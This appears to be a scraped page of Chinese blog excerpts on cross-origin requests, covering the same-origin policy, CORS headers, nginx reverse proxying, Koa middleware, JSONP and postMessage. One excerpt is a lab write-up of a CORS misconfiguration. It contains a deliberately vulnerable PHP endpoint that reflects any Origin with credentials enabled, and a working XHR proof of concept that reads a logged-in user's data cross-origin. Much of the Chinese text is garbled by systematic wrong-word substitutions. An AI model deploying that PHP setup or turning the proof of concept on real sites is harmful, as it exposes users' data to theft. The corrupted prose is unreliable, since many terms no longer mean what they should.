关于cors:一篇搞定面试中的跨域问题

什么是CORS(跨源资源共享)?CORS(Cross-Origin Resource Sharing)是一种机制,容许网页从不同的域拜访服务器上的资源。 在同源策略下,浏览器限度了跨域拜访,CORS容许服务器指定哪些源能够拜访其资源。 同源策略(Same-origin policy)同源策略在web利用平安模型中是一个重要的概念。在这个策略下,浏览器容许第一个网页中蕴含的脚本能够获取第二个网页的数据,前提是这两个网页在同一个源下。 同源:须要URI、主机名、端口都雷同。 这个策略能够避免一个网页上的歹意脚本通过DOM获取其余网页的敏感数据。 须要牢记的一点就是同源策略只利用于脚本,这意味着像images、css和其余动静加载的脚本 能够通过对应的标签跨域拜访资源。 是否同源的规定同源须要满足雷同的协定(scheme),雷同的主机名(host),雷同的端口号(port) Compared URLOutcome Reasonhttp://www.example.com/dir/page2.htmlSuccess Same scheme, host and porthttp://www.example.com/dir2/other.htmlSuccess Same scheme, host and porthttp://username:password@www.example.com/dir2/other.htmlSuccess Same scheme, host and porthttp://www.example.com:81/dir/other.htmlFailure Same scheme and host but different porthttps://www.example.com/dir/other.htmlFailure Different schemehttp://en.example.com/dir/other.htmlFailure Different hosthttp://example.com/dir/other.htmlFailure Different host (exact match required)http://v2.www.example.com/dir/other.htmlFailure Different host (exact match required)http://www.example.com:80/dir/other.htmlDepends Port explicit. Depends on implementation in browser.::: tipscheme: http https::: CORS存在的意义跨域资源共享(CORS) 是一种机制,它应用额定的 HTTP 头来通知浏览器 让运行在一个 origin (domain) 上的Web利用被准许拜访来自不同源服务器上的指定的资源。 出于安全性,浏览器限度脚本内发动的跨源HTTP申请。 例如,XMLHttpRequest 和 Fetch API 遵循同源策略。这意味着应用这些 API 的 Web 应用程序只能从加载应用程序的同一个域申请 HTTP 资源,除非响应报文蕴含了正确 CORS 响应头。 ...

February 16, 2024 · 2 min · jiezi

关于cors:深入了解CORS数据劫持漏洞

1.1. CORS介绍CORS(跨源资源共享)是一种用于在Web应用程序中解决跨域申请的机制。当一个Web应用程序在浏览器中向不同的域(源)发动跨域申请时,浏览器会执行同源策略,限度了跨域申请的默认行为。同源策略要求Web应用程序只能拜访与其自身源(协定、域名和端口)雷同的资源。 然而,在某些状况下,咱们心愿容许来自其余源的跨域申请,例如应用AJAX进行跨域数据拜访或在前端应用程序中嵌入来自不同域的资源(如字体、样式表或脚本)。这时就须要应用CORS来解决跨域申请的限度。 CORS通过在服务器端设置响应头来进行配置。当浏览器发动跨域申请时,服务器能够通过设置特定的CORS响应头来告知浏览器是否容许该申请。常见的CORS响应头包含以下几个: Access-Control-Allow-Origin:指定容许拜访该资源的源。能够是具体的源(如http://example.com)或通配符(*),示意容许来自任意源的拜访。Access-Control-Allow-Methods:指定容许的HTTP办法(如GET、POST、PUT等)。Access-Control-Allow-Headers:指定容许的申请头字段。Access-Control-Allow-Credentials:指定是否容许发送身份凭证(如cookies、HTTP认证等)。Access-Control-Max-Age:指定预检申请(OPTIONS)的有效期,以缩小对服务器的频繁申请。在前端代码中,如果要发送跨域申请,能够通过XMLHttpRequest对象或fetch API增加额定的申请头来批示浏览器发动CORS申请。浏览器会主动在发送申请时查看响应中的CORS头信息,并依据配置决定是否容许该申请。 具体可参考MDN DOC 1.2. 破绽介绍因为须要配置CORS响应头来告知浏览器是否容许该申请,所以如果配置不当,就可能导致攻击者通过歹意网站或代码执行跨域申请,从而获取或篡改用户的敏感数据(危害和CSRF相似,不过能够劫持返回的内容)。 1.3. 破绽复现1.3.1. 环境搭建实战过程中,次要是Origin可控以及Access-Control-Allow-Credentials设置为True,这样能力劫持到数据,简略的破绽复现环境如下: php代码,保留为index.php <?php$userInfo = array( 'username' => 'd4m1ts', 'phone' => '13888888888');$jsonResponse = json_encode($userInfo);// 查看是否存在Origin头if (isset($_SERVER['HTTP_ORIGIN'])) { // 设置Access-Control-Allow-Origin为申请中的Origin值 header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']); // 设置Access-Control-Allow-Credentials为True header('Access-Control-Allow-Credentials: true');}// 查看是否设置了名为admin的Cookieif (isset($_COOKIE['admin'])) { header('Content-Type: application/json'); echo $jsonResponse;} else { echo "unauth";}?>繁难启动php web服务 php -S 127.0.0.1:99991.3.2. 复现过程间接关上会提醒unauth 依据代码,须要在Cookie中设置字段admin Note 浏览器默认SameSite是Lax,Lax的状况下无奈发送至第三方上下文中,所以须要设置一下,不然无奈劫持! document.cookie = "admin=1; SameSite=None"设置后刷新就能够拿到数据了,咱们假如这是敏感数据,后续即便对这个数据进行劫持。 假如http://internal.gm7.org:9999/是指标,测试过程中在申请数据包头增加Origin字段,察看响应包,发现Origin可控,且Access-Control-Allow-Credentials: true,还没有验证referer,就阐明能够劫持了。 编写POC如下: <!DOCTYPE html><html><body><div id="demo"><button type="button" onclick="cors()">Exploit</button></div><script>function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "http://internal.gm7.org:9999/", true); xhttp.withCredentials = true; xhttp.send();}</script></body></html>放到第三方网站上,可见胜利劫持 ...

May 17, 2023 · 1 min · jiezi

关于cors:无需CORS用nginx解决跨域问题轻松实现低代码开发的前后端分离

近年来,前后端拆散曾经成为中大型软件我的项目开发的最佳实际。 在技术层面,前后端拆散指在同一个Web零碎中,前端服务器和后端服务器采纳不同的技术栈,利用规范的WebAPI实现协同工作。这种前后端拆散的"混合开发"模式下,前后端通常会部署到不同的服务器上,即使部署在同一台机器,因为宿主程序(如后端用Tomcat,前端用nginx)不同,端口号也很难对立。 (图片起源网络) 这意味着位于A域(如https://foo:80/website) 的页面,须要调用B域的WebAPI(如https://bar:8080/webservice),这是一个典型的跨域拜访,浏览器默认会断定该操作有平安危险。如果不进行解决,则会回绝这次WebAPI调用,提醒对应的谬误。 (跨域申请导致的谬误) 当初如何该怎么解决跨域的问题呢?目前有4个支流技术计划: JSONP如果你须要解决的申请只有GET,能够思考JSONP。 JSONP的原理就是利用\&lt;script\&gt;标签没有跨域限度的特点,通过\&lt;script\&gt;标签src属性,发送带有callback参数的GET申请,服务端将接口返回数据拼凑到callback函数中,返回给浏览器,浏览器解析执行,从而前端拿到callback函数返回的数据。 (JSONP的调用流程) 这种做法很惯例,然而你须要为前端提供JSONP的响应,其余终端调用时提供不带JSONP的响应,因而会带来额定的开发和测试工作量。 iFrame通常状况下,前后端拆散带来的跨域拜访都局限在同一个主域的不同子域(如a.foo.com和b.foo.com)之间。所以,你能够利用iFrame加载位于被调用WebAPI所在域的页面,而后将两个页面的document.domain设置为主域名(如foo.com),就通过iFrame中的子页面申请WebAPI了。 (图片起源网络) 这种做法比拟麻烦,咱们须要为WebAPI配套开发起直达作用的页面,但对于开发者而言仍旧有很大的开发工作量。 CORS和前两种计划相比,CORS(跨域资源共享)是一个"一劳永逸"的计划。 咱们不须要为每个WebAPI做额定的解决,而是须要在后端程序启动时,减少一些解决工作。支流的后端服务都有解决CORS的类库,这里就不再做开展介绍了。 这个计划的外围原理,是在发动正式的申请前,先发送一个OPTIONS谓词的HTTP申请,询问发动申请的页面是否有调用该域服务的权限;如果后端说OK,浏览器就持续申请,否则提醒谬误。 应用这种计划的开发工作量小,如果间接应用成熟类库的话,开发和测试的工作量甚至能够忽略不计。不过,因为每个跨域的申请都会触发一次往外的OPTIONS申请,对服务器会造成额定的开销和压力。 反向代理反向代理机制,把前端的A域和后端的B域合并成一个C域,从根本上解决跨域问题。 这个计划仅需配置,对前后端的程序没有侵入;同时内网中的反向代理通常也不会带来额定的性能开销。 (图片起源网络) 总体来说在编码开发的时代,上述四种计划都有实用的利用场景,各有优缺点。进入低代码开发时代后,前后端拆散的利用面更广,如应用JavaScript编码开发前端、配合低代码构建的后端,或应用Java编码开发后端,供低代码构建的前端调用。 (低代码时代的前后端拆散,来自 低代码沙龙) 低代码开发的外围价值在于节俭开发投入,晋升开发效率,所以,计划1(JSONP)和计划2(iFrame)曾经很少被用到低代码混合开发畛域。相比于计划3(CORS),计划4(反向代理)因为性能开销较小,利用场景会更多一些。 上面,咱们将以活字格+nginx为例,介绍利用nginx解决跨域问题,实现前后端拆散的具体做法。 (反向代理的架构示意图) 利用nginx解决跨域问题开始配置之前,咱们应用活字格开发两个利用,仅蕴含前端页面的frontend和蕴含后端WebAPI(服务端命令)的backend,并将其别离公布到物理机或云主机上,利用的端口设置为8081和8080。咱们能够通过以下地址拜访这两个利用:后端:http://host\_name:8080/backend前端:http://host\_name\_2:8081/frontend装置nginx,并在配置文件/conf/nginx.conf中HTTP节点配置前后端的服务器,即upstream节点:upstream backend {server host\_name:8080;}upstream frontend {server host\_name\_2:8081;}在HTTP节点下的server节点,配置监听端口和转发策略,这样就能够将http://host\_name:8080/backend映射为http://proxy\_name:8000/backend ,http://host\_name\_2:8081/frontend 映射为http://proxy\_name:8000/frontendlisten 8000;server\_name proxy\_name;location /frontend {proxy\_pass http://frontend/frontend ;}location /backend {proxy\_pass http://backend/backend ;}上述操作后,用户拜访的域名对立成了http://proxy\_name:8000,跨域问题解决了。然而,不要焦急。活字格默认会启用Http Referer验证机制,不容许跨域调用内置服务。所以,你还须要关上前端利用所在的服务端的治理控制台http://host\_name\_2:22345/UserService/ManagementPage/WebSecurity在HTTP Referrer容许列表中增加nginx代理服务器的地址(也就是用户理论应用的地址,记得在前面加一个*号适配)。 配置实现后,你能够就能够在前端页面中通过【发送HTTP申请命令】,调用后端的WebAPI了。(在前端调用后端WebAPI并弹窗显示返回后果) 特地提醒:如果你须要将前端、后端和nginx部署在同一台机器上,能够将上述proxy\_name、host\_name、host\_name\_2对立替换为你的机器名或IP地址。 作为一款弱小的反向代理和Web服务器,nginx的用处十分宽泛,本文仅仅应用到了它的反向代理性能。除此之外对于负载平衡的解决nginx也有很优良的体现,在后续内容中咱们会为大家做更加深刻的介绍。 如需具体理解如何应用低代码开发前后端拆散的企业级利用,疾速转型全栈工程师,能够查看: https://gcdn.grapecity.com.cn/forum.php?mod=viewthread&tid=146511&extra=page%3D1%26filter%3Dtypeid%26typeid%3D272 除此之外如果你对更多低代码行业现状与发展趋势感兴趣能够查看: https://help.grapecity.com.cn...

July 15, 2022 · 1 min · jiezi

关于cors:跨域问题解决办法

什么是跨域?同源策略(Same-origin policy)同源策略在web利用平安模型中是一个重要的概念。在这个策略下,浏览器容许第一个网页中蕴含的脚本能够获取第二个网页的数据,前提是这两个网页在同一个源下。 同源:须要URI、主机名、端口都雷同。 这个策略能够避免一个网页上的歹意脚本通过DOM获取其余网页的敏感数据。 须要牢记的一点就是同源策略只利用于脚本,这意味着像images、css和其余动静加载的脚本 能够通过对应的标签跨域拜访资源。 CORS跨域资源共享 Cross-origin resource sharing (CORS) 是一种机制,它应用额定的 HTTP 头来通知浏览器 让运行在一个 origin (domain) 上的Web利用被准许拜访来自不同源服务器上的指定的资源。 CORS存在的意义出于安全性,浏览器限度脚本内发动的跨源HTTP申请。 例如,XMLHttpRequest 和 Fetch API 遵循同源策略。这意味着应用这些 API 的 Web 应用程序只能从加载应用程序的同一个域申请 HTTP 资源,除非响应报文蕴含了正确 CORS 响应头。 跨源域资源共享(CORS)机制容许 Web 应用服务器进行跨源访问控制,从而使跨源数据传输得以平安进行。 理解了下面的内容,咱们解决浏览器控制台的跨域问题,个别有两个方向: 后端服务设置容许跨域拜访前端通过代理拜访资源服务端用 Node.js 的一个框架 koa 来举例,解决跨域应用 koa-cors 非常简单,如下: var koa = require('koa');var route = require('koa-route');var cors = require('koa-cors');var app = koa();app.use(cors());app.use(route.get('/', function() { this.body = { msg: 'Hello World!' };}));app.listen(3000);这个中间件大略做了这样的事件: module.exports = () => { return async function(ctx, next) { ctx.set('Content-Type', 'application/json'); ctx.set('Access-Control-Allow-Origin', '*'); ctx.set('Access-Control-Allow-Methods', 'GET, POST, PATCH, DELETE, PUT'); ctx.set('Access-Control-Allow-Headers', 'X-Requested-With, content-type, X-Authorization, X-uuid'); ctx.json = json.bind(ctx); ctx.halt = halt.bind(ctx); try { await next(); } catch (e) { return ctx.halt(e.code, e.message); } };};这样前端收到的响应会是上面的样子: ...

June 6, 2022 · 1 min · jiezi

关于cors:跨域资源共享CORS是什么

一、CORS 是什么?出于平安起因,浏览器会限度脚本发动的跨域 HTTP 申请,除非服务器批准拜访。譬如服务器对预检申请的响应 Header 中有 Access-Control-Allow-Origin: *,那么跨域申请即可正确拜访。 二、危害举例如果歹意网页中含有这样的脚本代码 fetch("example.com"),而你曾经登录了 example.com 网站还没有退出,如果此时没有 CORS 限度,那么歹意网页中的脚本代码就会顺利通过服务器执行,您的大量个人信息会被泄露。 三、预检申请是什么?为了防止跨域申请对服务器的数据产生不可知的影响,浏览器会用 OPTIONS 办法,先发送一个预检申请(preflight request),待服务器确认能够拜访后,再发送理论申请。 上面这个 POST 申请,就会先发送预感申请,能够在控制台的网络连接中查看具体连贯和信息。 var invocation = new XMLHttpRequest();var url = 'http://bar.other/resources/post-here/';var body = '<?xml version="1.0"?><person><name>Arun</name></person>';function callOtherDomain() { if (invocation) { invocation.open('POST', url, true); invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); invocation.setRequestHeader('Content-Type', 'application/xml'); invocation.onreadystatechange = handler; invocation.send(body); }}四、怎么用 CORS?CORS 的工作次要在服务端,通过返回不同的 Header 来告知请求者,是否能够拜访?上面两个局部列出了 CORS 所有用到的 Header 及其含意。 1、其余应用场景CORS 能够配合 token 来避免 CSRF 攻打。详情,看这里! 五、客户端跨域申请跨域申请用到如下 Header ,毋庸手动设置,浏览器会主动设置。 1、origin预检申请和理论申请中的源站名称,不蕴含任何门路信息,只是服务器名称。 Origin: <origin>2、Access-Control-Request-Method用于预检申请,通知服务器,理论申请 应用什么办法:post、get 等。 ...

November 24, 2021 · 1 min · jiezi

springbootplus-CORS跨域处理

CORS跨域处理CORS:Cross-Origin Resource SharingCORS是一种允许当前域(domain)的资源(比如html/js/web service)被其他域(domain)的脚本请求访问的机制,通常由于同域安全策略(the same-origin security policy)浏览器会禁止这种跨域请求。处理方法后台设置允许的请求源/请求头等信息后台配置CorsFilter Bean配置使用 Spring 提供的 CorsFilter 过滤器实现跨域配置io.geekidea.springbootplus.core.config.SpringBootPlusCorsConfig/** * CORS跨域设置 * * @return */@Beanpublic FilterRegistrationBean corsFilter(SpringBootPlusCorsProperties corsProperties) { log.debug("corsProperties:{}", corsProperties); UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); CorsConfiguration corsConfiguration = new CorsConfiguration(); // 跨域配置 corsConfiguration.setAllowedOrigins(corsProperties.getAllowedOrigins()); corsConfiguration.setAllowedHeaders(corsProperties.getAllowedHeaders()); corsConfiguration.setAllowedMethods(corsProperties.getAllowedMethods()); corsConfiguration.setAllowCredentials(corsProperties.isAllowCredentials()); corsConfiguration.setExposedHeaders(corsProperties.getExposedHeaders()); corsConfiguration.setMaxAge(corsConfiguration.getMaxAge()); source.registerCorsConfiguration(corsProperties.getPath(), corsConfiguration); FilterRegistrationBean bean = new FilterRegistrationBean(new CorsFilter(source)); bean.setOrder(Ordered.HIGHEST_PRECEDENCE); bean.setEnabled(corsProperties.isEnable()); return bean;}配置文件配置文件类:io.geekidea.springbootplus.core.properties.SpringBootPlusCorsPropertiesapplication.ymlspring-boot-plus: ############################ CORS start ############################ # CORS跨域配置,默认允许跨域 cors: # 是否启用跨域,默认启用 enable: true # CORS过滤的路径,默认:/** path: /** # 允许访问的源 allowed-origins: '*' # 允许访问的请求头 allowed-headers: x-requested-with,content-type,token # 是否允许发送cookie allow-credentials: true # 允许访问的请求方式 allowed-methods: OPTION,GET,POST # 允许响应的头 exposed-headers: token # 该响应的有效时间默认为30分钟,在有效时间内,浏览器无须为同一请求再次发起预检请求 max-age: 1800 ############################ CORS end ##############################参考HTTP访问控制(CORS)

October 15, 2019 · 1 min · jiezi

再遇CORS-自定义HTTP-header的导致跨域

指路牌后端配置好了跨域,但是前端在HTTP header添加token后,又产生跨域的问题Flask、Vue(Axios)、跨域适用场景前后端分离,想要使用token来管理登录状态,或调用后台接口环境平台无关参考博客axios 在header中配置token信息后,向后端请求会报跨域的问题。但是用postman测试的时候没有什么问题。这个问题的回答其实没有给出直接性的帮助,甚至回答的有点奇怪,但是帮我打开了思路。背景出于多种考虑,放弃了使用类似WordPress这种现成博客解决方案,准备自己搭建一个博客系统,技术选型为:后端:Flask,前端:Vue。登录状态管理放弃cookie,采用token。开发进行到路由保护处时出现了CORS的问题,具体情形是Vue将从后台获取的token添加到HTTP请求的header中,调用相应接口时出现跨域。 在此次跨域出现前实际上已经在Flask通过flask_cors配置了跨域解决方案,因此跨域的产生是让我十分不解的,又由于问题比较奇特在搜索引擎中没有找到很好的解决方案(也可能是我不知道怎么描述,没有搜出来),因此自己重新研究可以一下跨域,又有了一些新收获。 分析相信使用前后端分离的开发者在开发之初就会碰到跨域的问题,跨域的解决方案有很多种,我选择通过后台解决。 跨域是浏览器同源策略导致的问题,网上相关文章很多,此处不赘述。备注一点:postman不会产生跨域。Flask解决跨域的方案非常简单,以下代码即可完成。 from flask_cors import CORSCORS(app,supports_credentials=True@app.after_requestdef after_request(resp): resp = make_response(resp) resp.headers['Access-Control-Allow-Origin'] = 'http://127.0.0.1:8080' resp.headers['Access-Control-Allow-Methods'] = 'GET,POST' resp.headers['Access-Control-Allow-Headers'] = 'x-requested-with,content-type' return resp配置完成后,一直也没有没有出过问题,因此也就没有去进一步了解其配置的含义,直到这一次被卡住,让我不得不去了解一下跨域我究竟配置了什么东西? 其实这个问题的关键点就在于那三条配置:Access-Control-Allow-Origin、Access-Control-Allow-Methods、Access-Control-Allow-Headers.他们到底代表什么含义? 首先Access-Control-Allow-Origin,字面上的意思,配置这个可以允许相应的源来访问后台资源,网上大多在此处的写的是*,也即允许所有源,这样很不安全,由于我此处是本地开发阶段,Vue的启动端口是8080,所以我写的是http://127.0.0.1:8080,根据你的开发需要改成自己需要的三元组即可。 其次Access-Control-Allow-Methods,也是字面上的意思,允许用的HTTP的Method有哪些,GET,POST是最常见的,此处只写了两个,如果你需要使用其他Method,在这里要写进来,否则也会会出现跨域问题。 以上两个配置都没有问题,问题在了最后一部分: Access-Control-Allow-Headers,和上面两个一样,字面的意思,之所以是她出问题了,是因为我们在前端给HTTP请求添加了一个自定义的字段token,而这不在许可范围内(许可的只有x-requested-with和content-type ),因此被判定为了不符合同源策略的非法请求,所以我们只需要将自定义的header添加进去即可。答案已经出来了。 继续挖一下,这个字段的两个含义分别还是什么?x-requested-with,content-type. x-requested-with是一个用来判断客户端请求是否由Ajax发起的,所以和Axios有什么关系?答案是:没有关系...可以直接删了。贴上这段代码的人或者是默认了发起请求使用的是Ajax,又或者没有分析字段含义,所以很直接贴了这段代码,但是对于使用Axios的开发者来说,这个字段不是必然的。 content-type: 指明POST请求的数据格式以及编码方式。数据格式最常见的莫过于josn,其形式如下:application/json在后端打印出POST请求的HTTP Header,就会发现有下面这条和数据。 Content-Type: application/json;charset=UTF-8解决方案在Access-Control-Allow-Headers中添加上自定义的header名称,整体如下: from flask_cors import CORSCORS(app,supports_credentials=True@app.after_requestdef after_request(resp): resp = make_response(resp) resp.headers['Access-Control-Allow-Origin'] = 'http://127.0.0.1:8080' resp.headers['Access-Control-Allow-Methods'] = 'GET,POST' resp.headers['Access-Control-Allow-Headers'] = 'content-type,token' return resp其实直接删掉Access-Control-Allow-Headers这条配置,也能解决问题,但是枚举出所有固定情形当然是更安全的。要获取更多Haytham原创文章,请关注公众号"许聚龙":

September 10, 2019 · 1 min · jiezi

Spring-里那么多种-CORS-的配置方式到底有什么区别

作为一个后端开发,我们经常遇到的一个问题就是需要配置 CORS,好让我们的前端能够访问到我们的 API,并且不让其他人访问。而在 Spring 中,我们见过很多种 CORS 的配置,很多资料都只是告诉我们可以这样配置、可以那样配置,但是这些配置有什么区别? CORS 是什么首先我们要明确,CORS 是什么,以及规范是如何要求的。这里只是梳理一下流程,具体的规范请看 这里。 CORS 全称是 Cross-Origin Resource Sharing,直译过来就是跨域资源共享。要理解这个概念就需要知道域、资源和同源策略这三个概念。 域,指的是一个站点,由 protocal、host 和 port 三部分组成,其中 host 可以是域名,也可以是 ip ;port 如果没有指明,则是使用 protocal 的默认端口资源,是指一个 URL 对应的内容,可以是一张图片、一种字体、一段 HTML 代码、一份 JSON 数据等等任何形式的任何内容同源策略,指的是为了防止 XSS,浏览器、客户端应该仅请求与当前页面来自同一个域的资源,请求其他域的资源需要通过验证。了解了这三个概念,我们就能理解为什么有 CORS 规范了:从站点 A 请求站点 B 的资源的时候,由于浏览器的同源策略的影响,这样的跨域请求将被禁止发送;为了让跨域请求能够正常发送,我们需要一套机制在不破坏同源策略的安全性的情况下、允许跨域请求正常发送,这样的机制就是 CORS。 预检请求在 CORS 中,定义了一种预检请求,即 preflight request,当实际请求不是一个 简单请求 时,会发起一次预检请求。预检请求是针对实际请求的 URL 发起一次 OPTIONS 请求,并带上下面三个 headers : Origin:值为当前页面所在的域,用于告诉服务器当前请求的域。如果没有这个 header,服务器将不会进行 CORS 验证。Access-Control-Request-Method:值为实际请求将会使用的方法Access-Control-Request-Headers:值为实际请求将会使用的 header 集合如果服务器端 CORS 验证失败,则会返回客户端错误,即 4xx 的状态码。 否则,将会请求成功,返回 200 的状态码,并带上下面这些 headers: ...

June 15, 2019 · 6 min · jiezi

八种方式实现跨域请求

浏览器的同源策略提到跨域不能不先说一下”同源策略”。 何为同源?只有当协议、端口、和域名都相同的页面,则两个页面具有相同的源。只要网站的 协议名protocol、 主机host、 端口号port 这三个中的任意一个不同,网站间的数据请求与传输便构成了跨域调用,会受到同源策略的限制。 同源策略限制从一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的关键的安全机制。浏览器的同源策略,出于防范跨站脚本的攻击,禁止客户端脚本(如 JavaScript)对不同域的服务进行跨站调用(通常指使用XMLHttpRequest请求)。 跨域请求方式 解决跨域问题,最简单的莫过于通过nginx反向代理进行实现,但是其需要在运维层面修改,且有可能请求的资源并不再我们控制范围内(第三方),所以该方式不能作为通用的解决方案,下面阐述了经常用到几种跨域方式: 方式一:图片ping或script标签跨域图片ping常用于跟踪用户点击页面或动态广告曝光次数。 script标签可以得到从其他来源数据,这也是JSONP依赖的根据。 缺点:只能发送Get请求 ,无法访问服务器的响应文本(单向请求) 方式二:JSONP跨域 JSONP(JSON with Padding)是数据格式JSON的一种“使用模式”,可以让网页从别的网域要数据。根据 XmlHttpRequest 对象受到同源策略的影响,而利用 <script>元素的这个开放策略,网页可以得到从其他来源动态产生的JSON数据,而这种使用模式就是所谓的 JSONP。用JSONP抓到的数据并不是JSON,而是任意的JavaScript,用 JavaScript解释器运行而不是用JSON解析器解析。所有,通过Chrome查看所有JSONP发送的Get请求都是js类型,而非XHR。 缺点: 只能使用Get请求不能注册success、error等事件监听函数,不能很容易的确定JSONP请求是否失败JSONP是从其他域中加载代码执行,容易受到跨站请求伪造的攻击,其安全性无法确保 方式三:CORS Cross-Origin Resource Sharing(CORS)跨域资源共享是一份浏览器技术的规范,提供了 Web 服务从不同域传来沙盒脚本的方法,以避开浏览器的同源策略,确保安全的跨域数据传输。现代浏览器使用CORS在API容器如XMLHttpRequest来减少HTTP请求的风险来源。与 JSONP 不同,CORS 除了 GET 要求方法以外也支持其他的 HTTP 要求。服务器一般需要增加如下响应头的一种或几种: Access-Control-Allow-Origin: *Access-Control-Allow-Methods: POST, GET, OPTIONSAccess-Control-Allow-Headers: X-PINGOTHER, Content-TypeAccess-Control-Max-Age: 86400跨域请求默认不会携带Cookie信息,如果需要携带,请配置下述参数: "Access-Control-Allow-Credentials": true// Ajax设置"withCredentials": true方式四:window.name+iframe window.name通过在iframe(一般动态创建i)中加载跨域HTML文件来起作用。然后,HTML文件将传递给请求者的字符串内容赋值给window.name。然后,请求者可以检索window.name值作为响应。 iframe标签的跨域能力;window.name属性值在文档刷新后依旧存在的能力(且最大允许2M左右)。每个iframe都有包裹它的window,而这个window是top window的子窗口。contentWindow属性返回<iframe>元素的Window对象。你可以使用这个Window对象来访问iframe的文档及其内部DOM。 <!-- 下述用端口 10000表示:domainA 10001表示:domainB--><!-- localhost:10000 --><script> var iframe = document.createElement('iframe'); iframe.style.display = 'none'; // 隐藏 var state = 0; // 防止页面无限刷新 iframe.onload = function() { if(state === 1) { console.log(JSON.parse(iframe.contentWindow.name)); // 清除创建的iframe iframe.contentWindow.document.write(''); iframe.contentWindow.close(); document.body.removeChild(iframe); } else if(state === 0) { state = 1; // 加载完成,指向当前域,防止错误(proxy.html为空白页面) // Blocked a frame with origin "http://localhost:10000" from accessing a cross-origin frame. iframe.contentWindow.location = 'http://localhost:10000/proxy.html'; } }; iframe.src = 'http://localhost:10001'; document.body.appendChild(iframe);</script><!-- localhost:10001 --><!DOCTYPE html>...<script> window.name = JSON.stringify({a: 1, b: 2});</script></html>注意: ...

May 6, 2019 · 2 min · jiezi

跨域方案总结

平时在开发中总是会遇到各种跨域问题,一直没有很好地了解其中的原理,以及其各种实现方案。今天在这好好总结一下。本文完整的源代码请猛戳github博客,建议大家动手敲敲代码。1、什么是跨域?为什么会有跨域?一般来说,当一个请求url的协议、域名、端口三者之间任意一个与当前页面地址不同即为跨域。之所以会跨域,是因为受到了同源策略的限制,同源策略要求源相同才能正常进行通信,即协议、域名、端口号都完全一致。为什么会有同源策略呢?同源政策的目的,是为了保证用户信息的安全,防止恶意的网站窃取数据。设想这样一种情况:A网站是一家银行,用户登录以后,又去浏览其他网站。如果其他网站可以读取A网站的 Cookie,会发生什么?很显然,如果 Cookie 包含隐私(比如存款总额),这些信息就会泄漏。更可怕的是,Cookie 往往用来保存用户的登录状态,如果用户没有退出登录,其他网站就可以冒充用户,为所欲为。因为浏览器同时还规定,提交表单不受同源政策的限制。由此可见,“同源政策"是必需的,否则 Cookie 可以共享,互联网就毫无安全可言了。同源策略限制内容有:Cookie、LocalStorage、IndexedDB 等存储性内容DOM 节点AJAX 请求发送后,结果被浏览器拦截了下面为允许跨域资源嵌入的示例,即一些不受同源策略影响的标签示例:<script src=”…"></script>标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。<link rel=“stylesheet” href="…">标签嵌入CSS。由于CSS的松散的语法规则,CSS的跨域需要一个设置正确的Content-Type消息头。不同浏览器有不同的限制: IE, Firefox, Chrome, Safari 和 Opera。<img>嵌入图片。支持的图片格式包括PNG,JPEG,GIF,BMP,SVG<video> 和 <audio>嵌入多媒体资源。<object>, <embed> 和 <applet>的插件。@font-face引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)。<frame>和<iframe>载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。常见的跨域场景URL 说明 是否允许通信http://www.domain.com/a.jshttp://www.domain.com/b.js 同一域名,不同文件或路径 允许http://www.domain.com/lab/c.jshttp://www.domain.com:8000/a.jshttp://www.domain.com/b.js 同一域名,不同端口 不允许 http://www.domain.com/a.jshttps://www.domain.com/b.js 同一域名,不同协议 不允许 http://www.domain.com/a.jshttp://192.168.4.12/b.js 域名和域名对应相同ip 不允许 http://www.domain.com/a.jshttp://x.domain.com/b.js 主域相同,子域不同 不允许http://domain.com/c.js http://www.domain1.com/a.jshttp://www.domain2.com/b.js 不同域名 不允许注意:关于跨域,有两个误区:1、动态请求就会有跨域的问题(错)。跨域只存在于浏览器端,不存在于安卓/ios/Node.js/python/ java等其它环境2、跨域就是请求发不出去了(错)。跨域请求能发出去,服务端能收到请求并正常返回结果,只是结果被浏览器拦截了2、跨域的解决方案2.1、jsonpjsonp的跨域原理是利用script标签不受跨域限制而形成的一种方案。下面我们来简单看一下代码实现<!– index.html 文件 –><!DOCTYPE html><html lang=“en”><head> <meta charset=“UTF-8”> <title></title></head><body><script> var script = document.createElement(‘script’); script.type = ’text/javascript’; // 传参并指定回调执行函数为onBack script.src = ‘http://127.0.0.1:3000/login?user=admin&callback=onBack’; document.head.appendChild(script); // 回调执行函数 function onBack(res) { alert(JSON.stringify(res)); }</script></body></html>nodevar qs = require(‘querystring’);var http = require(‘http’);var server = http.createServer();server.on(‘request’, function(req, res) { console.log(req); var params = qs.parse(req.url.split(’?’)[1]); var fn = params.callback; // jsonp返回设置 res.writeHead(200, { ‘Content-Type’: ’text/javascript’ }); res.write(fn + ‘(’ + JSON.stringify(params) + ‘)’); res.end();});server.listen(‘3000’);console.log(‘Server is running at port 3000…’);我们可以看到返回的结果:优点:兼容性好(兼容低版本IE)缺点:1.JSONP只支持GET请求; 2.XMLHttpRequest相对于JSONP有着更好的错误处理机制2.2、postMessagepostMessage是HTML5 XMLHttpRequest Level 2中的API,且是为数不多可以跨域操作的window属性之一。语法:otherWindow.postMessage(message, targetOrigin, [transfer]);otherWindow:指目标窗口,也就是给哪个window发消息,是 window.frames 属性的成员或者由 window.open 方法创建的窗口;message 属性是要发送的消息,类型为 String、Object (IE8、9 不支持);data 属性为 window.postMessage 的第一个参数;origin 属性表示调用window.postMessage() 方法时调用页面的当前状态;source 属性记录调用 window.postMessage() 方法的窗口信息;targetOrigin:属性来指定哪些窗口能接收到消息事件,其值可以是字符串""(表示无限制)或者一个URI。transfer:是一串和message 同时传递的 Transferable 对象. 这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。看一下简单的demo<!– index.html 文件 –><!DOCTYPE html><html lang=“en”><head> <meta charset=“UTF-8”> <title></title></head><body><h1>AAAAAAAAAAAA</h1><iframe src=“http://localhost:4000/b.html” id=“frame” onload=“load()"></iframe><script> function load(params){ let iframe = document.getElementById(‘frame’); iframe.onload = function() { const data = { name: ‘aym’ }; //获取iframe中的窗口,给iframe里嵌入的window发消息 